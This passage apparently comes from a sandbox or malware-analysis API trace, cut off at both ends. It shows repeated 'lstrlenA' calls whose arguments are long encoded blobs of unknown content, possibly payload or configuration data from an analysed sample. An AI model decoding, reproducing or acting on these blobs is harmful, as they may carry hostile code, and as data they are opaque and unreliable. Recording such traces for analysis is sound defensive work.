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") returned 5792 [0128.359] lstrlenA (lpString="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") returned 5792 [0128.359] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt27RyX2fZTVqhxd1fkRh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUJ/+SN0smfGv03bTcrjcA+QPBPQdz0Ga/5kKcBQBcJvqiz1kGYVxNSJgV3ZYz+ycuV4yfhg/F8OJFlaTRfotvPyVoBT6L4EvW6wLm56I8J1ewra46LNmiyIp1LLtFvVNfCmoZz7l6Mcz0UboWgtKxq3zFCRnmh5BWYOg1Gr2CjeV2GGXHPnLiafXptLDRbp7K+f7c2FXdj1T0euSXFvz8jKRlW6eiuuR1EYZuJdnHDIAlZKhTotgoFLGrsr5yCGg6J5+KaNeCEQ18DNCargANkJuqdiGSoVQuv3lyKi3mUjTYins9w6xLz2HvYczyRRnQxdRjnD1T94fe2IYRq4vDVsjDDMklXza/m5c2HtwVzc+JR39oZ9QD9O4UyGn/9434wg/tHbejo/TsiP9/TxcMLDcIY8C0GSvTm4i/67LRtotkktBeWJXKwSJPQAcNCtbiY37If9/tFNUgJ7xln/0EeguBl+mG6Cw8m8ZyvECKyF+N1IlW0hBjQfeoUHRQUqZCfNLuCG8wSg0uLyuz3aW/37wXtHnlMq0vWIIOaPuqeNDXs82bvKXpoKRmVrolZxBnmOthOcn4U/tEX8qh4Ku5r2GvOxI8E9B1KAkJ6cURKbp9MqxybzBONVQSIr/TflDhuVFT1lrC+dZqvg94+lhHHDv+8Zkv/vBmuupHXbAps1SRttGfVTHB/W+fppkh0k9QX6+XC/2EVI8IO3McPkydOccTE0DxzvA3s9hk7UuLO2AJUpaV6vtxLhkFm8qgOur8sdlNzYcENBFf5sPJou+My4kO1YdJI1wSwBE+WjWmHKSRVmPk9gIdYNj+PdcXAEua+VJq/oWFscUn7mat2gWMj1x/N3ssVLZ6xtOz56lw8ENqizym+rJ36TUjBDNHyKoivVj2757CCpY8NXHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZLx8nW2fmvF4h9zs1HQ1nNlFP3L3dKoFYA4zMMv7hg4XFocI7NP3+fE697T/S5igTjvHF1wzYdL6YJch6feVeY88Yti33n/meLgq34H/Jut/HgZe+VWN/PwO11Jz0YUmkVp9AeAxZQXGE+OIMOY0r6TDp/N1Vcq305LXXlSQayDS2gSqqtFDpofSeO8TDUL//YK9yGT7zkFNKWUKuT9sess5SxvrfzoKtOqk6m4Y3aH1qmjDVGPLPjXzYW6XBytXgCfWxI+kyrHZDOx7e/+9KtPMG4p2L2yUmEWBMxqpZVOIuwAlSU08m2PRQ62/ZA1NKF5cKIb93yHCqKRLFtJC5liMy3lzeiTIXmIBiKzTLITNEhL+YVk2lxNVwJHLwT8QAV9ILxzt0IAL8vGkoZ24e+F22DG4QyPSeHfVSBVlO/ElQ0yZwBluOwDRKFOLZy49gktPmIuAS/JyQ5wIgNxPQqDLSmlhKJHVSo9Ugj5pnaZZrr1Wn4tJRskxHp246TrvbMMAWlKRQw+kK+0QcGMMytqfXRbZe4HRKyij9M2UrgDEqON8/KRoeUi8Dwbm7MBZOAwOayoHafCXrUnkoai3bfNJ31v5W33+lfNXGYh87PpqQ6iztsMnH3iVcl3Asp/4VA8d18u+y8enTBtp2PhYVTHgBXgcHe+ekrTbBU1qbzH3ZxAtm8gidioiqRfNYnf3m84y+S0WdG0r9JMK6GdrfPfNpKGNFvUVSyZvu0Zo4NOXLX1QS3ddo5b6apBb/zmK7vnKpTd6pYtC4QrwPM7SGQTcqLky7+qVo2wSjRM6wz3h6ZrvJAHo1QAXBiUEda+OgL2HfIGrNA45iVfJsoeGDdDYzmmJb9cYzlqCVonC/eprhqeCEnfde/HGgfZ5n6CCZWiEUrXuIrbaxmE3c6ZbEObKD7Wbwz8AlM7p3XNUKICWYt8kypvG1bnZRS0hKmpfIv+ghDwg3PyYrVKr2DmGk+Wjt9tOk+ULdSrkpXJTZTUTRODsxBSL6fy1PgL22xoH8b/b5503Wny8hV2I3eclxqEgh30gA0XUMeEnq6Dh/EJMN6E6Nva6u/jc/djVAs44U6OQ2STos/Nw7NfyhtuX84V4+RjfbOPGPhaTh6mia8m9ZVIyacY+gW/c8FCEi82+5+/kX/VAbhMxak0tLFEolICkZfOyIVHLY7UK/R2lpAODIBoR990pcyeBAj+UI6tdop0kGvI1NDl4QphhZW37C8ar3rV5FWqR7vVWxa25zPi7cfg/CdM/p/AZKqVB13cDR+TmfswJNq6LTmulSTqMl4QTwg2UWKRFlK0vdonIJu7ib2+zagAXTTFRn6M6Yj6HlDC3RF3y70Dj+IpePspwU6EX8KovH4rUfbwg9jMGmZu/43LG5ACzKDMW8lQ3bdcEzL4Fmy5tSYi9RlQS01h9sXHcJUougvsRAg4aByn4QXBsCA5YQt78BXZidfh2+4xMHbLMOCxl9LS4Y8yEzGqMJM2LKUNE5oUeSmcdF7HHJN+r7BuRJYoiQTxc1t3MqOTjJ7OQCAReUOhAOd0YQvpLSFcVFHgxfgHX2HmiUuvnZjXjUPxrOLDwCWpIyd7ZaVAbQw0rKPGcuFYGtSfv7ihvQZmzlBm4mdDOaFOErQ8cDHvb32QZ2Z3hNQuF0NnvoGNkpoiAIknxYXiwza5DmR0NUwD2j73gXKcqTnhiONdAZtK8bylX1PJk9B7fnnjsoQRa5WglIHBfyBwEw9wjxE5iUWrnV0b6hgMAfAoAo3A2VJpLca2Z6kJMRPF0NtRBDFVNcOH0CQ5LcoGCBpYenEIWS5oDfEzb1gcayD07ZZaySZBDNQMaM8X6REHUgnHBZn4Xm6jkrFwpKARvyjahsOsV+ZozgeCw2ju9OoquH8csJxdRucgPmB5dSHescgmSeeYcozxP3wIv6r9Hwg2i/KobEfbzf5opOyS9X/8G/vMfwczi+WaiNTK0M13uB805OlqfIzuxo0c9Xfra5VL5D9UnX8FEcr4z3aN66RMFwHgviNxAVLAlLqTvobs3THM4fqsjLRfjCbGONkMiREB7caOSlA2GVZQOAmraAsOSvPvjaFn5+KWCFnXftNibVsBd3GY3wgaQm9RQU4HFKq8XxWSgRMzdtK35dje7e+FJ5QEwCmrxzLbPuEbiwYJNzyp+Kub2Uemty4OC+9FR2yQOG1m646tcNMCZIPf2hP5dxIp2LpWqMAHGWXceedFvz7mQgkNMo3S/HhKz+/p6ldkwTs9CObAL3cI9rmPN9N6olBDi7Z1Z2XTObji6jlWrUM0dvQsEYXeUutMh3BVwXPmteiGBNUqg07OOra+bHETc2mHIiJCXRuK4ASsAPbBtSHKBLvOe/xQCeLspGViryIozpXOUeiKrwF81Yr5RyMQHKGriYOTB1rdJ/lO6b//EYq/plvQipuG2RXdy4OkXugvZ4m7YHTnAqWV3oSefx3BWalWGBNaz/yW1DstGgWamEcUpCUyMboBWdlSQdhlLKyrVdB/u2I+DfOTxgPiTAeeK9U9M/02vxaiMlTdBb9fzTXk53hkg9yqqN8l6XKEoUnQWfd5FcMNwW8OWHViHpLDWVm+98jvU5uwcmXwPnel1Fvf5R9A/64U3RuGroumyk+H+fk2SVe/d/m+GlsISY9AyD/YtCutm2FR3rmCccOmL2HgqpYzjGEgzQax8t9eBNAYj4NLUOzD0o2+E8O66JcKAS49y4tZsgwk0m1NzXXfw+3Jk1Cewh6k5QQtNQKEiLse4uDogihI0VFkYiaAfZuOW10IeH2elk7QXxlqOjf+W2wRyprHC316Kut2KHxtGy4EK93jKVGvN1uepe/6gSX0jpZw+lVZ+ltK7s2XEU8DXZMO5fTct8tEdK35XMk8MzzlCcSwgAVH07Xir9qSesfvKHl157zcfRDpRH98EkbJfVDBiV8s1AW6xOtbrnYrZsrkPFN+nkeCsFVk7/NSXHelph0K8pEiXhD8I+FbmfG799waoJQ3NFh6kWsAADwTn1zQn7XIzF2Riot/53OWrajeYHvcxqkkme2W9DeUlmWl+G4gDVr2dWoXpPEG/oPKUWaSGb6nJMdqAXtX7jYiFcuCI1T31KwT8D2QMTl5+YE3vo8/AZk2f7GWkYGy8d3JqEt2S12vK3xrwc8FgBi4UQspTpF+yjU/LOJkPOfiuvIdtRJJqskQHA4udnv9zIkKjy9C9Pjw8CuzTNalGRoD513nygF1ajdNKhfbUSN1ggWH72Q/j1bWd0iGETK1kqo0e1AEqTVHc0wMFvEcRbecAQjZCSolAnNmNBzuC2wfV+e2TDBj4+snFpqxe2M8LCM3LXw019UU01Gs0fyXzEu2sWgGWPdCtq8P1xkSWe5Q8VSairsokftiH1TSbYOnIY+YSvtz+ZTFd/KsY0QTwCkMXz8I4rrVYQwplzQUBNSI1mhORqmefty4HpArQnp8yTJw7TnODULcGIYRrl0WEfM22foXv7IDBdVvosGMuabt2IQYRx/sjqA/unJi7Q86VSInEU8Ew548/Gq8awz5QGqoAyjQyMNHMpAAnrKTj+WTuKLOpjHjRcYUEoO6FfJX9+hR4cCh9nDqBn5l3CaD1ntz3PPO5SctrHlOw3433I+lYr+iHD8RzYK0Rd90Uq5XQ8losn/T8pGZKNS0I/sRvQrjEuVWnrjng7s/oMZHzthdWwczeZYv1dh0JGnvGXTvhFNI2xjqjGbNsdG1lnQp7c7JDA4enNFbtEOpKOQVXn67yq2sBLgYgy8JPBKhWcJyfV7+qmV6/ndgN2rH4VKZq3wnWA5TR5CeOkk635kUgJOQh2spzLV5cEJDaJ29L8ip4sIhGc/QNXj3ngjdcHYSwoFjzlN7I0LJkTUiAMqsBq3ymMPoa6rfEknB/aM215QFgHTAKZfeSE+rBTrFyb2Cr6qVcycOec9j91L/jQNXZT9esjhASiArQ+BzNHyY40CJMA4jgkJOxC+dFwzyClV2YM0lMSwODvSgg4fSmwGIA9rQjhalJ9kEfz1rcJZk+OrXz3Vw6UO/b94HF41S7vaIASv0Yars5MrvEsG5Ytc779Q6KNFMx7ZW44j3VBGKwny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0128.359] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt27RyX2fZTVqhxd1fkRh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUJ/+SN0smfGv03bTcrjcA+QPBPQdz0Ga/5kKcBQBcJvqiz1kGYVxNSJgV3ZYz+ycuV4yfhg/F8OJFlaTRfotvPyVoBT6L4EvW6wLm56I8J1ewra46LNmiyIp1LLtFvVNfCmoZz7l6Mcz0UboWgtKxq3zFCRnmh5BWYOg1Gr2CjeV2GGXHPnLiafXptLDRbp7K+f7c2FXdj1T0euSXFvz8jKRlW6eiuuR1EYZuJdnHDIAlZKhTotgoFLGrsr5yCGg6J5+KaNeCEQ18DNCargANkJuqdiGSoVQuv3lyKi3mUjTYins9w6xLz2HvYczyRRnQxdRjnD1T94fe2IYRq4vDVsjDDMklXza/m5c2HtwVzc+JR39oZ9QD9O4UyGn/9434wg/tHbejo/TsiP9/TxcMLDcIY8C0GSvTm4i/67LRtotkktBeWJXKwSJPQAcNCtbiY37If9/tFNUgJ7xln/0EeguBl+mG6Cw8m8ZyvECKyF+N1IlW0hBjQfeoUHRQUqZCfNLuCG8wSg0uLyuz3aW/37wXtHnlMq0vWIIOaPuqeNDXs82bvKXpoKRmVrolZxBnmOthOcn4U/tEX8qh4Ku5r2GvOxI8E9B1KAkJ6cURKbp9MqxybzBONVQSIr/TflDhuVFT1lrC+dZqvg94+lhHHDv+8Zkv/vBmuupHXbAps1SRttGfVTHB/W+fppkh0k9QX6+XC/2EVI8IO3McPkydOccTE0DxzvA3s9hk7UuLO2AJUpaV6vtxLhkFm8qgOur8sdlNzYcENBFf5sPJou+My4kO1YdJI1wSwBE+WjWmHKSRVmPk9gIdYNj+PdcXAEua+VJq/oWFscUn7mat2gWMj1x/N3ssVLZ6xtOz56lw8ENqizym+rJ36TUjBDNHyKoivVj2757CCpY8NXHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZLx8nW2fmvF4h9zs1HQ1nNlFP3L3dKoFYA4zMMv7hg4XFocI7NP3+fE697T/S5igTjvHF1wzYdL6YJch6feVeY88Yti33n/meLgq34H/Jut/HgZe+VWN/PwO11J